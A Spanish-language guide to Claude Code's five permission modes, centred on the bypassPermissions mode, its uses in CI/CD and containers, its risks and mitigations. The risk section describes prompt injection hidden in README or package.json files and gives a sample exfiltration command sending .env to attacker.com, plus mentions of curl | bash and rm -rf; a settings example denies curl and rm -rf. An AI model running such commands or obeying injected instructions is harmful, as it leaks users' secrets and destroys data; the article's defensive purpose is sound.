Contenido
Claude Code cuenta con un "modo bypass de permisos" (bypassPermissions) que ejecuta todas las operaciones de forma automática sin pedir confirmación. Es extremadamente útil para pipelines CI/CD y contenedores Docker, pero un uso indebido puede generar graves problemas de seguridad.
En este artículo organizamos los 5 modos de permisos de Claude Code y explicamos la utilidad, los riesgos y las buenas prácticas del modo bypass con ejemplos concretos.
1. ¿Qué es el modo bypass de permisos?
El modo bypass de permisos omite todas las confirmaciones que Claude Code normalmente solicita al usuario. En condiciones normales, Claude Code pide aprobación antes de editar archivos o ejecutar comandos del sistema; en este modo, esas confirmaciones desaparecen por completo.
Existen dos formas de activarlo.
# Activar con flag
claude --dangerously-skip-permissions
# O especificar el modo de permisos
claude --permission-mode bypass
El hecho de que el nombre del flag incluya "dangerously" (peligrosamente) es una advertencia deliberada de Anthropic. La razón de que exista este modo es permitir la automatización en entornos completamente aislados (contenedores y VMs).
Cabe destacar que, incluso en modo bypass, la escritura en directorios de configuración como .git/, .vscode/, .idea/ y .claude/ sigue bloqueada. Esta es una medida de seguridad mínima.
2. Los 5 modos de permisos de Claude Code
Claude Code ofrece 5 niveles de permisos, cada uno con un alcance diferente de operaciones que se ejecutan sin confirmación.
Detalle de cada modo
default (predeterminado): solo la lectura de archivos se ejecuta sin confirmación. La edición y la ejecución de comandos requieren aprobación del usuario. Es ideal para principiantes y entornos sensibles.
acceptEdits (aprobación automática de ediciones): la lectura y edición de archivos no requieren confirmación, pero la ejecución de comandos sí. Es un modo equilibrado, recomendable para el trabajo diario de programación.
plan (modo planificación): solo lectura, sin posibilidad de escribir archivos ni ejecutar comandos. Se utiliza para investigar el código y planificar el diseño.
auto (aprobación automática): casi todas las operaciones se ejecutan sin confirmación. Sin embargo, un clasificador de seguridad (safety classifier) funciona en segundo plano y bloquea las operaciones que considera peligrosas. Es adecuado para tareas automatizadas de larga duración.
bypassPermissions (bypass de permisos): todos los controles se desactivan, incluido el clasificador de seguridad. Está diseñado para su uso dentro de contenedores y VMs; Anthropic no recomienda utilizarlo en entornos locales.
Además de los flags en la línea de comandos, el modo de permisos puede cambiarse de forma interactiva con Shift+Tab. Esta opción también está disponible en VS Code, JetBrains y la app de escritorio.
3. Cuándo el modo bypass es útil
El modo bypass no es simplemente un modo "peligroso". Usado en el entorno adecuado, mejora significativamente la productividad del desarrollo.
Pipelines CI/CD
En pipelines como GitHub Actions o GitLab CI no hay un usuario que pueda responder a confirmaciones interactivas. Con el modo bypass se pueden automatizar por completo tareas como tests, revisión de código y generación de documentación.
# Ejemplo en GitHub Actions
claude --dangerously-skip-permissions \
-p "Run tests and report the results"
Contenedores Docker
En un contenedor desechable, que se rompa no supone un problema. La "peligrosidad" del modo bypass queda neutralizada por el aislamiento del contenedor.
Procesamiento masivo de archivos
Cuando necesitas modificar más de 100 archivos a la vez, las confirmaciones individuales generan una sobrecarga considerable. En un entorno aislado, el modo bypass permite procesarlos de forma eficiente.
Integración con scripts de automatización
Los procesos batch o pipelines de generación de código que se ejecutan periódicamente necesitan funcionar sin intervención humana. El modo bypass es imprescindible para estas operaciones headless.
4. 5 riesgos de seguridad
Si se utiliza el modo bypass en un entorno no aislado, surgen los siguientes riesgos graves.
Riesgo 1: Inyección de prompts
Es el riesgo más peligroso. Instrucciones ocultas insertadas en archivos maliciosos (por ejemplo, en un README o package.json) pueden ejecutarse directamente sin revisión.
En el modo normal, antes de ejecutar un comando sospechoso aparece una confirmación que permite al usuario detectarlo y bloquearlo. En modo bypass, esta barrera de defensa no existe.
Ejemplo concreto
Si el README de un repositorio externo contiene un comentario oculto como «», en modo bypass podría ejecutarse sin ninguna confirmación.
Riesgo 2: Ejecución arbitraria de comandos
curl | bash, rm -rf, instalación de paquetes... cualquier comando de shell se ejecuta al instante. En modo auto, el clasificador de seguridad bloquea los comandos peligrosos, pero en modo bypass este clasificador también está desactivado.
Riesgo 3: Fuga de datos
Comandos que envían información confidencial como archivos .env, tokens de autenticación o claves API a endpoints externos pueden ejecutarse sin confirmación. Por ejemplo, un comando como curl -d @.env https://attacker.com.
Riesgo 4: Escalación de operaciones
Una tarea que empieza como una simple edición de archivos puede acabar desplegando en producción o ejecutando migraciones de base de datos. En modo normal las confirmaciones intermedias lo impiden; en modo bypass no existe este control progresivo.
Riesgo 5: Operaciones destructivas irreversibles
git push --force, eliminación definitiva de archivos, DROP TABLE en base de datos... existe el riesgo de que se ejecuten operaciones que no se pueden deshacer sin ninguna confirmación.
5. Medidas para usarlo de forma segura
Si necesitas utilizar el modo bypass, aplica las siguientes medidas de seguridad.
Medida 1: Limitarlo a contenedores y VMs
Esta es la medida más importante. Utiliza el modo bypass exclusivamente en entornos aislados: contenedores Docker, VMs o runners de CI como GitHub Actions. Evita ejecutarlo directamente en el sistema operativo host.
Configuración recomendada
Ejecuta Claude Code dentro de Docker montando solo el directorio de trabajo. No montes archivos .env ni claves SSH del host.
Medida 2: Considerar primero el modo auto
En la mayoría de los casos, el modo auto es suficiente. Su clasificador de seguridad bloquea los comandos claramente peligrosos en segundo plano. No elijas el modo bypass solo porque las confirmaciones te resultan molestas.
Medida 3: Controlar permisos con allowlist
El sistema de reglas de permisos de Claude Code permite aprobar automáticamente solo comandos específicos. En lugar del modo bypass, es más seguro agregar los comandos necesarios a una allowlist.
# Ejemplo de permisos en .claude/settings.json
{
"permissions": {
"allow": [
"Bash(npm run build)",
"Bash(npm test)",
"Bash(git status)"
],
"deny": [
"Bash(curl *)",
"Bash(rm -rf *)"
]
}
}
Las reglas de permisos se evalúan en orden deny - ask - allow. Dado que deny tiene la máxima prioridad, los comandos peligrosos que denieguemos explícitamente nunca serán sobrescritos por reglas allow.
Medida 4: Monitorizar con Hooks
La funcionalidad de Hooks de Claude Code (PreToolUse / PostToolUse) permite ejecutar scripts personalizados antes o después de usar cada herramienta. Pero hay un punto clave: en modo bypass, los Hooks también están desactivados.
Por eso, la monitorización con Hooks es más efectiva en combinación con el modo auto.
# Ejemplo de Hook PreToolUse (.claude/settings.json)
{
"hooks": {
"PreToolUse": [{
"matcher": "Bash",
"hooks": [{
"type": "command",
"command": "echo $CLAUDE_TOOL_INPUT | check-safety.sh"
}]
}]
}
}
Medida 5: Restringir la red
Incluso dentro de un contenedor, limitar el acceso de red hacia el exterior reduce significativamente el riesgo de fuga de datos. Lo ideal es permitir solo los endpoints necesarios (como la API de Anthropic).
Medida 6: Revisar los cambios después de cada sesión
Tras trabajar en modo bypass, revisa siempre los cambios con git diff. Adquiere el hábito de comprobar que no haya modificaciones no deseadas ni información confidencial expuesta.
6. Guía para elegir el modo adecuado
Si no sabes qué modo utilizar, consulta el siguiente diagrama de flujo.
Configuración recomendada por escenario
Programación diaria: el modo acceptEdits es lo más recomendable. Las ediciones de archivos se realizan sin interrupciones, pero los comandos siguen requiriendo confirmación.
Investigación y diseño de código: con el modo plan puedes explorar el código sin riesgo de modificar nada por error, ya que es de solo lectura.
Tareas automatizadas de larga duración: modo auto + entorno sandbox es la mejor combinación. El clasificador de seguridad mantiene un nivel de protección mientras permite la automatización.
Pipelines CI/CD: modo bypass + aislamiento en contenedor es la opción apropiada. Pero no olvides restringir la red y minimizar los volúmenes montados.
Si quieres conocer otras funciones de Claude Code, consulta las diferencias entre las 3 modalidades de Claude. Para información sobre precios, revisa la comparación de precios Claude vs ChatGPT.
7. Resumen
El modo bypass de permisos de Claude Code es una herramienta poderosa si se usa en el entorno correcto, pero un uso inadecuado puede provocar incidentes de seguridad graves.
Puntos clave de este artículo
- Claude Code tiene 5 modos de permisos; el modo bypass es el de mayor riesgo
- El modo bypass debe considerarse exclusivo para contenedores, VMs y entornos CI/CD
- Los principales riesgos son inyección de prompts, fuga de datos y operaciones irreversibles
- En la mayoría de los casos, el modo auto + reglas de permisos es suficiente
- Si lo usas, aplica restricciones de red, limita los volúmenes montados y revisa los cambios
Si la seguridad de las herramientas de IA te preocupa, comprueba tu nivel de conocimientos con el diagnóstico de nivel de IA. Para aprender Claude Code de forma estructurada, visita la guía introductoria.
FAQ
¿Puedo usar el modo bypass para programar en el día a día?
No es recomendable. Para el trabajo cotidiano utiliza el modo acceptEdits (aprobación automática de ediciones) o el modo auto. El modo bypass está pensado para entornos completamente aislados como contenedores Docker o pipelines CI/CD. Usarlo en un entorno de desarrollo local implica riesgos de inyección de prompts y ejecución involuntaria de comandos.
¿Cuál es la diferencia entre el modo auto y el modo bypass?
El modo auto ejecuta en segundo plano un clasificador de seguridad que bloquea las operaciones que considera peligrosas. El modo bypass, en cambio, desactiva todos los controles, incluido este clasificador. Además, en modo auto los Hooks (PreToolUse / PostToolUse) funcionan normalmente, mientras que en modo bypass los Hooks también quedan desactivados.
¿Hay alguna operación que se bloquee incluso en modo bypass?
Sí. La escritura en los directorios .git/, .vscode/, .idea/ y .claude/ se bloquea incluso en modo bypass. Estos directorios contienen configuraciones importantes del entorno de desarrollo, por lo que se mantiene esta protección mínima. Sin embargo, el resto de las operaciones de archivos y comandos de shell prácticamente no tienen restricciones.
¿Se pueden combinar las reglas de permisos (allow/deny) con el modo bypass?
En modo bypass la evaluación de reglas de permisos se omite por completo, por lo que combinarlos no tiene ningún efecto. Si quieres aprovechar las reglas de permisos, utiliza el modo auto o acceptEdits. Las reglas se evalúan en orden deny - ask - allow, y deny tiene la máxima prioridad, lo que permite bloquear comandos específicos de forma fiable.